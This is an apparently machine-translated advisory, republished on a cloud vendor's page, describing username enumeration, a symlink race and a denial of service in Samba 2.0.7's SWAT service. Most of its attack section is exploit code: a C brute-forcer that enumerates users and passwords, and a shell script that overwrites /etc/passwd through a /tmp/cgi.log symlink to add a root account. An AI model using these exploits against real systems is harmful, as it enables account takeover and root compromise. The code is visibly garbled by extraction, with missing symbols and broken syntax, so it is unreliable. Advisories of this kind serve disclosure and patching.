Multiple critical vulnerabilities in Linuxswat

Source: Internet
Author: User
Tags chop
Article title: multiple critical vulnerabilities in Linuxswat. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
Affected versions:
Samba 2.0.7
  
Unaffected versions:
  
Samba 2.0.9
  
Vulnerability description:
  
Swat is a service process included in Samba 2.0 and later servers. it allows administrators to perform configuration management on samba servers through the web interface. multiple Vulnerabilities exist in the swat service of Samba 2.0.7, seriously endangering system security.
(1) the user name and password of the system may be leaked. when a user logs on to the swat page, swat prompts the user to enter the user name and password. when the user enters the wrong user name, swat will give the information: 401 Bad Authorization username/password must be supplied, but when the user enters the correct user name but the password is incorrect, swat will be suspended for two seconds and then return the message: 401 Authorization Required You must be authenticated to use this service. in this way, attackers can obtain the user name in the system through different messages returned by swat, so that they can get the user's password step by step. because swat does not enable the log function, therefore, the attack process will not be recorded. if swat enables the log function, it will directly cause vulnerability 2. (test code 1)
(2) the log function is not enabled by default when the local user privilege is elevated to swat. if the log function is enabled, swat does not check whether the log file already exists, and overwrite any input from the client user, in this way, malicious local users can compete for temporary files to rewrite important files in the system. example: webmaster@isbase.combash2.02 $ ln-s/etc/passwd/tmp/cgi. log # first establish a connection webmaster@isbase.combash2.02 $ telnet localhost 901 # then log on to Port 901 (swat:
Toor: 0: 0: // bin/bash # input the above content, cut off the connection ctrl ^]: quit webmaster@isbase.combash2.02 $ cat/etc/passwd # view the/etc/passwd file
[Date: Mon, 31 Oct 2000 22:19:58 GMT localhost. localdomain (127.0.0.1)] toor: 0: 0: // bin/bash
Webmaster@isbase.combash2.02 $ su
Malicious users will be given root privileges. (Test procedure 2)
(3) enter an incorrect URL for a denial-of-service attack, such as hostname: 901? Badfile provides incorrect user name and password. swat will prompt Authentication Required and inetd will restart swat. if the system uses the netscape browser, netscape immediately retries the url and finally leads inetd to close the swat service for a long time.
  
Test method: (The following programs or methods may be offensive. if they are used for illegal purposes, the consequences are at your own risk !)
  
--------------------------- * Swat_test1.c * ---------------------------------- # include stdio. h # include netdb. h # include stdlib. h # include string. h # include sys/socket. h # include sys/types. h # include netinet/in. h # include arpa/inet. h # include signal. h # include errno. h # include fcntl. h
# Define SWAT_PORT 901 # define MAX_NAME_SIZE 16 # define MAX_PASS_SIZE 16 # define CHECK_PASSWORD "centerfield" # define USER_AGENT "super-hyper-alpha-pickle-2000"
Struct VALID_NAMES {char * name; struct VALID_NAMES * next ;};
Struct VALID_NAMES * add_to_names (struct VALID_NAMES * list, char * name) {list-> name = (char *) malloc (MAX_NAME_SIZE); memcpy (list-> name, name, MAX_NAME_SIZE); list-> next = (struct VALID_NAMES *) malloc (sizeof (struct VALID_NAMES); list = list-> next; memset (list, 0, sizeof (struct VALID_NAMES); return (list );}
Void chop (char * str) {int x;
For (x = 0; str [x]! =; X ++) if (str [x] =) {str [x] =; return ;}
Char * base64_encode (char * str) {char * b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 +/= ";
Int x, y; unsigned char * output;
Output = (char *) malloc (strlen (str) * 2); memset (output, 0, strlen (str) * 2 );
For (x = 0, y = 0; x> 2;
Output [y + 1] = str [x] <6; output [y + 1] = output [y + 1]> 2; output [y + 1] = output [y + 1] | (str [x + 1]> 4 );
Output [y + 2] = str [x + 1] <4; output [y + 2] = output [y + 2]> 2; output [y + 2] = output [y + 2] | (str [x + 2]> 6 );
Output [y + 3] = str [x + 2] <2; output [y + 3] = output [y + 3]> 2 ;}
If (strlen (str) % 3 = 1) {output [y] = str [x]> 2; output [y + 1] = str [x] <6; output [y + 1] = output [y + 1]> 2; output [y + 2] = 64; output [y + 3] = 64 ;}
If (strlen (str) % 3 = 2) {output [y] = str [x]> 2; output [y + 1] = str [x] <6; output [y + 1] = output [y + 1]> 2; output [y + 1] = output [y + 1] | (str [x + 1]> 4 ); output [y + 2] = str [x + 1] <4; output [y + 2] = output [y + 2]> 2; output [y + 3] = 64 ;}
For (x = 0; output [x]! = 0; x ++) output [x] = b64 [output [x];
Output [x + 1] =; return (output );}
Int check_user (char * name, char * pass, struct hostent * he) {char buf [8192] = ""; char buf2 [1024] = ""; int s; struct sockaddr_in s_addr;
Memset (buf, 0, sizeof (buf); memset (buf2, 0, sizeof (buf2 ));
S_addr.sin_family = PF_INET; s_addr.sin_port = htons (SWAT_PORT); memcpy (char *) & Bytes, (char *) he-> h_addr, sizeof (s_addr.sin_addr ));
If (s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP) =-1) {fprintf (stderr, "cannot create socket"); exit (-1 );}
If (connect (s, (struct sockaddr *) & s_addr, sizeof (s_addr) =-1) {fprintf (stderr, "cannot connect "); exit (-1 );}
Chop (name); chop (pass); sprintf (buf2, "% s: % s", name, pass); sprintf (buf, "GET/HTTP/1.0" "Connection: Keep-Alive" "User-Agent: % s" "Authorization: Basic % s", USER_AGENT, base64_encode (buf2 ));
If (send (s, buf, strlen (buf), 0) <1) {perror ("send:"); exit (1 );}
Memset (buf, 0, sizeof (buf); if (recv (s, buf, sizeof (buf), 0) <1) {perror ("recv :"); exit (1 );}
Buf [sizeof (buf)] =;
If (strstr (buf, "HTTP/1.0 401 Authorization Required ")! = NULL) {close (s); return 1;} else if (strstr (buf, "HTTP/1.0 401 Bad Authorization ")! = NULL) {close (s); return 0;} else if (strstr (buf, "HTTP/1.0 200 OK ")! = NULL) {close (s); return 2;} else {printf ("Unknown result: % s", buf); exit (1 );}}
Void usage (void) {printf ("Usage: flyswatter [-a]-t target-n namefile-p passwordfile"); printf ("-: do not verify that users exist. "); exit (1 );}
Int main (int argc, char ** argv) {int x, y, z;
Int s; char buf [MAX_NAME_SIZE] = ""; FILE * pfile, * nfile; struct hostent * he; struct VALID_NAMES * valid_names; struct VALID_NAMES * list_walk;
Int tryall = 0; char target [1024] = ""; char namefile [512] = ""; char passwordfile [512] = "";
Valid_names = (struct VALID_NAMES *) malloc (sizeof (struct VALID_NAMES); list_walk = valid_names; memset (valid_names, 0, sizeof (struct VALID_NAMES ));
If (argc <2) usage ();
For (x = 1; x if (strncmp (target, "", sizeof (target) = 0) {fprintf (stderr, "Must specify target "); exit (1 );}
If (strncmp (namefile, "", sizeof (target) = 0) {fprintf (stderr, "Must specify namefile"); exit (1 );}
If (nfile = fopen (namefile, "r") = NULL) {fprintf (stderr, "Cannot open % s", namefile); exit (1 );}
If (strcmp (passwordfile ,"")! = 0) if (pfile = fopen (passwordfile, "r") = NULL) {fprintf (stderr, "Cannot open % s", passwordfile ); exit (1 );}
Printf (""); if (tryall = 1) printf ("-Not verifying usenames"); printf ("-Namefile: % s", namefile ); printf ("-Passwordfile: % s", passwordfile); printf ("-Target: % s", target );
If (he = gethostbyname (target) = NULL) {fprintf (stderr, "* Invalid target"); usage ();}
If (tryall = 0) while (fgets (buf, sizeof (buf), nfile) {chop (buf); if (check_user (buf, CHECK_PASSWORD, he) = 1) {printf ("User" % s "exists! ", Buf); list_walk = add_to_names (list_walk, buf) ;}} else while (fgets (buf, sizeof (buf), nfile) {chop (buf ); list_walk = add_to_names (list_walk, buf );}
If (strcmp (passwordfile, "") = 0) {exit (0); printf ("Finished .");}
While (valid_names-> next! = 0) {fseek (pfile, 0, SEEK_SET); while (fgets (buf, sizeof (buf), pfile )! = NULL) {if (check_user (valid_names-> name, buf, he) = 2) printf ("valid username/password: % s ", valid_names-> name, buf);} valid_names = valid_names-> next ;}
Printf ("Finished."); exit (0 );}
---------------------------- * Swat_test2.sh ----------------------------------#! /Bin/sh # swat for samba 2.0.7 compiled with cgi logging exploit # discovered by miah miah@uberhax0r.net # exploit by optyx optyx@uberhax0r.net if [-f/tmp/cgi. log]; then if ['rm-f/tmp/cgi. log']; then echo "/tmp/cgi. log exists and cannot be deleted "exit fi echo" backing up/etc/passwd "cp-pd/etc/passwd/tmp /. bak touch-r/etc/passwd/tmp /. bak ln-s/etc/passwd/tmp/cgi. log echo "connecting to swat" echo-e "uberhaxr: 0: 0: optyx r0x y3r b0x :/: /bin/bash "| nc-w 1 localhost swat if ['Su-l uberhaxr-c" cp/bin/bash/tmp /. swat "']; then echo" exploit failed "rm/tmp /. bak rm/tmp/cgi. log exit fi su-l

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.